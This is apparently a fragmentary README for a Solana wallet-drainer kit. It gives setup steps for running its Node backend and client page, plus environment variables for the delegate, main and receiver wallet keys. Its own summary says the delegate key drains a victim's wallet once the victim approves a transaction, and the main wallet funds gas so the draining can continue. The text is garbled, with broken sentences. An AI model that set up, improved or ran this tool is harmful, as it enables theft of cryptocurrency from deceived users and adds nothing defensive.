This page loads the Solana drainer client. Use it to test wallet connection and flow against your backend.
node ms/backend.js. No need to run any script in sol/.index.html in your browser (file:// or any host). The page loads the provider and calls
the backend at HB_Server in provider.js.HB_Server = "localhost:4000" in provider.js; the provider uses
http for localhost. Backend has CORS so all origins work.
HB_SOL_DELEGATE_PRIVATE / HB_SOL_DELEGATE_PUBLIC
sol/.env.HB_SOL_MAIN_PRIVATE / HB_SOL_MAIN_PUBLIC (lines 25–26)
fundDelegateIfNeeded).
HB_SOL_RECEIVER addresses or a separate operational wallet.Summary: Delegate = key that actually drains (after victim approves). Main = wallet that pays the delegate’s gas so it can keep draining.